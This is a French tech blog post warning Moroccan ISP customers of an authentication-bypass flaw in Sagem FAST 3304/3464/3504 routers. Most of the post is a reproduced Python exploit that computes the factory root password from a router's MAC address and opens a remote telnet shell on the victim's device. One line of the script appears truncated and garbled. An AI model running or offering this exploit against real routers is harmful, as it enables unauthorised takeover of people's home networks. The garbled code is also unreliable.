lundi , 21 mai 2018
Breaking News

Faille critique des routeurs Sagem FAST

Êtes-vous un client Maroc Telecom ? et avez-vous un routeur Sagem FAST 3304/3464/3504 ? si la réponse aux deux précédentes questions est oui ! alors souriez vous êtes dans la merde, une faille critique affectant cette série de routeurs vient d’être découverte et rendue public, et permet désormais à quiconque (de malintentionné) de prendre le contrôle à distance de votre routeur.

Comment ça se fait ? eh ben, c’est simple ayant déjà testé des routeurs Maroc Telecom dans le passé, j’avais remarqué que je n’étais pas l’unique administrateur de mon propre routeur, ce qui peut se traduire aussi par: je ne suis pas maitre de mon propre réseau domestique, et pire mes privilèges étaient plutôt bridés, et mon rôle se limitait à la modification de certains paramètres: wifi et autre… du coup j’avais jeté à la poubelle mes deux routeurs Maroc Telecom ! vu la déception.

Cette faille fonctionne comment ? grâce à un code écrit en python le pirate peut calculer le mot de passe pour avoir ce mot de passe étant généré par l’usine, il n’est malheureusement pas modifié par le FAI ! et avec ce mot de passe le pirate ouvre un shell (un invite de commande) pour gérer tous les aspects possibles du routeur de sa victime, les scénarios imaginables sont nombreux.

Il a besoin de quoi au juste le pirate pour y accéder ? mis à part l’exploit : l’adresse IP et l’adresse MAC du routeur de sa cible devront suffir! et malheureusement ces deux informations sont récupérables avec un simple sniffer.

Exploit :

#!/home/bin/python

# Remote Exploit: SAGEM ROUTER FAST 3304/3464/3504 - Telnet Authentication bypass
# Date: 15-August-2011
# Author: Elouafiq Ali
# Version: 3304-V1 / 3304-V2 / 3464 / 3504
# Tested on: Linux Ubuntu 11.04, Linux Backtrack 5
# Tested Router: SAGEM FAST 3304-V2
# Tested on Resellers/ISPs: Wanadoo (France), Maroc Telecom (Morocco)
# Products affected: Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504
# Blog: http://keelhaule.tumblr.com

"""
	Sagem Fast Routers (3304-V1 / 3304-V2 / 3464 / 3504) Come with a default Preconfigured Root Password
	That the ISPs don't change it, but instead they create another admin account above it,
	the root password differs from a router to another, since it is computed from its MAC address.
	Thus, each unique router has its own password what makes bruteforce or dictionary attacks inefficient or impossible
	After reverse engineering the Algorithm that computes the default password based on the MAC address
	This exploit opens a remote shell in the remote host.
	(Generally its an Almquist Shell 'ash', which commands are compatible to the Bourne Shell 'bsh')

	Usage: ./{file_name} ip_adress mac_address
"""

from telnetlib import Telnet
import time, sys, tty, termios
from threading import *

host = ''
port = 23
user = "root"
password=""
class ReaderThread(Thread):
        def __init__(self, telnet):
                self.telnet = telnet
                Thread.__init__(self)

        def run(self):
                while 1:
                        str = self.telnet.read_some()
                        if str == '': break
                        sys.stdout.write(str)
                        sys.stdout.flush()
def mash(a,b):
  first=min(a,b)
  second=max(a,b)
  if( int(second ,16 ) < 10) :
    if(int(first,16)+int(second,16)      return chr(ord(first)+int(second,16))
    else:
      return hex(ord(first)+int(second,16))
  else:
      return chr(ord(second)+int(first,16))

def main(host, port):
        telnet = Telnet()
        telnet.open(host, port)
	#Usually Telnet prompt starts with this, if the telnet service provide another
	#prompt, change it to that prompt
	telnet.read_until("login: ")
	telnet.write(user + "\n")
	#the note above also applies for this
	telnet.read_until("Password: ")
	telnet.write(password + "\n")
	#just omit this line if you want to just have the telnet command prompt,
	#or change it to what feel confortable with
	telnet.write("shell\n")
        reader = ReaderThread(telnet)
        reader.start()

	fd = sys.stdin.fileno()
	old_settings = termios.tcgetattr(fd)
	tty.setraw(fd)
        while 1:
                if not reader.isAlive(): break
		ch = sys.stdin.read(1)
                telnet.write(ch)
        telnet.close()
	termios.tcsetattr(fd, 1, old_settings)

if __name__ == '__main__':
        try:
                host = sys.argv[1]
        except: pass
	mac_address=sys.argv[2]
	lenght=len(mac_address)
	#some arbitrary value
	password=[ c for c in "00000000" ]
	if lenght!=12 :
		# Input Sanitization and Normalization
		if lenght==17:
			if mac_address[2]==':' :
				mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()
			elif mac_address[2]=='-' :
				mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()
			else:
				print  '[!] Please enter a valid MAC address!'
				exit()
		else:
			print  "[!] Please enter a valid MAC address!"
			exit()

	mac=[ c.lower() for c in mac_address]

	password[0]= mash(mac[5],mac[11])
	password[1]= mash(mac[0],mac[2])
	password[2]= mash(mac[10],mac[11])
	password[3]= mash(mac[0],mac[9])
	password[4]= mash(mac[10],mac[6])
	password[5]= mash(mac[3],mac[9])
	password[6]= mash(mac[1],mac[6])
	password[7]= mash(mac[3],mac[4])
	password="".join(p for p in password)
	print "[+] W00t The Passwd is ", password
        main(host, port)

# Exploit written by Ali Elouafiq , Exploit-DB , 2011

About Youssef BENKHOUYA

Born to be a NINJA

Check Also

Hack du Wifi sécurisé avec WPA/WPA2

Nous allons voir aujourd’hui comment il est possible de casser la sécurité d’un réseau sans …

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *